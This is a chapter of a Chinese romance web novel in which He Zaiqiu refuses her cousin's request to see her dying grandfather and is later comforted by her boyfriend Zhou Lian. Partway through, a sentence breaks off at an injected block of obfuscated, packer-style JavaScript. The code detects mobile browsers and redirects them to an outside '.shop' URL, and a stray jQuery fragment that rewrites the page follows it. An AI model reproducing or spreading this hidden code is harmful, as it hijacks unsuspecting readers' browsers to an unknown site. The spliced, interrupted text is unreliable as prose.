她知道孙浩也许是好心的，知道他没做过什么过分的事情，但是她只要见过过去的人，想到过去的事情，这三年的努力就会化作一阵轻烟随风而去，取而代之的铺天盖地的乌云。
“你……节哀。”孙浩扶着方向盘，几次开口都被压了回去，透过前视镜，他看见了何载秋低着头，连看都不想看他。
谁能想几年前，他们还是关系融洽的表兄妹。
孙浩：“小秋，我来也不是为了替外公外婆挽回什么，过去的事情他们做得不对，包括我爸妈和舅舅他们，我替他们和你说句对不起。事情已经发生了，这两年家里因为那件事，再也没有过团聚的时候，我知道大家都挺不好受的。去年外公查出来了肿瘤，位置不好，长在脑子里，恶性的，没办法做手术……”
“所以呢？”何载秋全身都在发抖，喉咙像被水泥糊得密不透风，“所以和我有什么关系？”
“你别误会。”孙浩看着何载秋的样子也心疼，捏紧方向盘，“我没说和你有关系，我只想说，他们真的知道错了，想当面和你说声对不起，外公这半年一直住在医院，估计很难活过这个春节了，他走之前的心愿就是能见你一次，你毕竟是他的亲孙女……”
何载秋：“我不会去看他的，我也不会去看你们任何一个人，他们愧疚是他们活该，活该带着一辈子愧疚活下去。我谢谢你当年没有跟着他们做过伤害我的事，但是我也没有办法原谅你的冷眼旁观。你们其实都是一伙的，谁也别谈谁更高贵。我要走了，请把门打开。”
滴答，门锁开了，何载秋推门而出。
脚不小心绊倒了购物袋，里头的东西稀里哗啦撒了一地，周敛低头把散落在车内的东西装回袋子。
“哎。”孙浩按下车窗，点燃了一根烟，看向后座的周敛，“她这些年过得好吗？”
“其实你们知道答案。”
周敛提起袋子，关门离开。
-
何载秋睡了好久好久，她把自己缩进被子里，床上堆满了毛绒玩具。空调温度开到最高，可她还是冷得全身发抖。
头好痛，眼睛也好痛。
并不想生气，不值得，她四年前就知道。但是生理反应超过了后天理智，她没有办法做到想象中的云淡风轻，气定神闲。
枕头里的手机嗡嗡嗡地响，何载秋没接。
过了两分钟，电话再次响起来。何载秋在黑暗中够到手机，她的指腹沾满了泪水，手指在屏幕滑了三次才接通。
“喂。”
“饿了吗？”
是周敛，他的声音轻得像羽毛，稳稳当当地落在何载秋耳中。
何载秋：“有点，但我没力气吃。”
周敛：“我煮了牛骨汤。”
何载秋：“几点了。”
周敛：“八点。”
何载秋听到周敛报完菜名就饿了，她努力想要撑着枕头起来，可两手臂都没有力气，窗帘遮光效果太好，房间漆黑得看不到底。
她放弃了：“不用了，你吃吧，抱歉，上午我不应该丢下你就走的。”
“汤明天就不好喝了，”电话那头的周敛试探着问，“我就在门口，方便我进来吗？”
何载秋想了一会儿，还是同意了：“密码是六个零。”
-
周敛输入密码，踏进了何载秋的秘密基地。
和隔壁一模一样的格局，一模一样的客厅，窗帘的颜色都如出一辙，但是没有厨房，没有阳台，不变的还有满屋子五颜六色的毛绒娃娃。
周敛敲响了唯一关着的那件房门。
“可以进来吗？”
“请进。”
里面传来何载秋虚弱的回答。
房间是暗的，周敛抬手开了灯，映入眼帘的是一张硕大的圆形公主床，然后是五颜六色，望不尽的灯具、摆件、和各种形态各种材质的娃娃和手办。
从落地窗一直绵延到门口，能看到的地方都堆满了。周敛很轻易地找到了何载秋。她抱着一个黄色鼻涕虫睡在床中央，瘦弱的身体隆起一座小山丘。
听到响动，她像只小虫子从被子里蠕动出来，探出一个乱糟糟的黑色脑袋。
“你别端着汤进来，房间会有味道。”
何载秋穿着一件超长的，白色兔子耳朵的荷叶边睡衣，连滚带爬从床里出来。
拖鞋呢，拖鞋去哪儿了。
何载秋没找到她的拖鞋。
周敛站在门口说：“汤要冷了。”
何载秋跌坐在床边，沮丧地说：“我找不到我的拖鞋了。”
“等等。”
周敛转身离开了一分钟，再回来时他手上没再端着汤，他拿起何载秋放在床脚的小毛毯，利落地把何载秋裹得和北京鸡肉卷一样结实。
下一秒，他的双手穿过何载秋的膝盖，稳稳把她抱在怀里，大阔步走向客厅。
坐在客厅沙发，何载秋都还有点没反应过来。
“喂你吃？”
周敛的话不是询问，没等何载秋回答，他舀了半勺牛骨汤递到何载秋嘴边。
何载秋张嘴喝下，肚子里多了热乎乎的汤，脑子似乎也不那么疼了。
“我……我自己来。”何载秋把自己的手从层层包裹的毛毯中伸出来，接过周敛的汤匙。
手还在发抖，汤没来得及送到嘴里就撒在了衣袖和毛毯上。
“还是我来。”
周敛一点也不嫌弃，帮何载秋擦干净睡衣上的污渍，一勺一勺喂何载秋。
牛骨头是下午去菜市场买的，炖了五个多小时，汤汁香浓入味，剔出来的牛肉滑嫩鲜美，何载秋不知不觉吃了一整碗。
“我知道你没吃饱，但不能再吃了，太晚了。”周敛放下碗和勺子，“但是可以给你吃点水果，我去给你拿。”
“等等。”何载秋牵住他的手，很小声地挽留，“我想和你说说话。”
“嗯。”周敛坐在她身边。
他穿很少，一件薄薄的灰色圆领毛衣，半截手臂露在外面。何载秋学着他之前的样子，把他的手放进自己的睡衣口袋。
何载秋抠着他的衣服：“我应该和你说对不起，我不应该留下你应对我表哥，也不应该一声不吭躲起来，这对你不好，我下次不会这样了。”
周敛放在睡衣口袋的手轻轻捏着何载秋的大拇指：“没关系。”
“有关系的。”何载秋把他另外一只手也拽过来，拉下他撸在手臂的袖口，“我妈妈以前告诉我，不可以用自己的情绪惩罚最亲近的人，这是一种无形的伤害。不管你现在有没有感受到这种伤害，都没办法改变我错了的事实。”
灯光把何载秋眼里的红血丝照得根根分明，她的眼睛周围肿成一团蓬松的泡芙，鼻尖红里透着粉。
“我没有觉得我受了伤害。”周敛用手帮她把杂乱的头发理顺，对着她水润的双眼说，“你没有伤害任何人。”
“不行。”何载秋吸了吸鼻子，哭了后她的嗓子沙哑得像破碎的手风琴，“我当时应该告诉你我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501061|202734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的感受，让你放心，然后再做我自己的事。你下次应该直接来问我，或者告诉我，抛下你走是不对的。”
“我们是情侣，大难临头各自飞是不对的。”何载秋慢吞吞地说。
周敛笑了。
自从认识何载秋，笑容变成一件很寻常的事情，和吃饭喝水一样，很轻易就可以做到。
“好。”周敛说，“如果你下次还抛下我自己躲起来，我不会轻易放过你。”
何载秋本来在玩周敛毛衣袖口的断线，听到这话奇怪地抬起头：“也不用这么严重，我认错速度很快的。按照之前你说的，我犯错了，下顿饭我来做。”
周敛摸摸她的脑袋：“好。”
何载秋差不多吃饱了，也不困，更想要去床上躺着玩。问题来了，她没有鞋子。
她用手肘撞周敛的胸口：“能再抱我进去吗？”
周敛二话不说，单手穿过何载秋的腋下把她抱起来，吓得何载秋赶紧楼住他的脖子。
“要掉了！”何载秋喊。
周敛温柔地说：“不会的。”
等何载秋扑通挣扎了一番，周敛才看似好心地伸出另一只手接住她的腿弯，不明真相的何载秋很有礼貌地说了声谢谢，周敛笑着说不用谢。
把何载秋回到柔软的床上，周敛识趣地转身离开，回到自己的位置去。
“哎。”何载秋喊他，“能不能再陪我一下下，我现在有点无聊。”
小小的房间，五六个台灯同时亮着，角落的懒人沙发里，何载秋和周敛穿着同款白色睡袍，两个脑袋凑在一起看着周敛手中的平板。
“这里这里！”
“哇，好大一条鱼！”
“来了来了来了，又来了！快点！”
“好厉害！你又钓了一条！”
何载秋玩星露谷这几个月来，第一次感受到了丰收的喜悦，因为周敛一连给她钓了十二条鱼！
往日勤勤恳恳开荒种菜的痛苦时光一去不复返，何载秋现在只需要当个发号施令的大王，剩下的工作全部由周敛执行。
他的手速和游戏领悟力可以用天赋异禀来形容，短短一个小时，何载秋破旧的小房子不光有了厨房，身上也穿红戴绿，尽显气派。
“我去上个厕所，你的鞋子借我，晶石等我回来再去砸，我这次一定要开出极品。”
何载秋急急忙忙地站起来，一路踩着周敛的小腿走到他的脚背，光明正大抢走了他的海豹拖鞋。
周敛放下电容笔，揉了揉酸痛的手腕。
何载秋的平板登了她的微信，通知栏窗口突然弹出一大堆消息。周敛无意窥探何载秋的隐私，手指划过顶端，想把消息划走，一不小心点进去了。
【周周好消息：秋秋，俺的图修好了，请接收】
【周周好消息：我能发在网上不，我好想发】
【周周好消息：会把你们的脸遮住的】
【周周好消息：看了又看，满意得不得了】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：图片jpg】
【周周好消息：视频jpeg】
周敛一眼看到了自己。
第二眼看到了坐在赤裸上身的肌肉男肩膀的何载秋。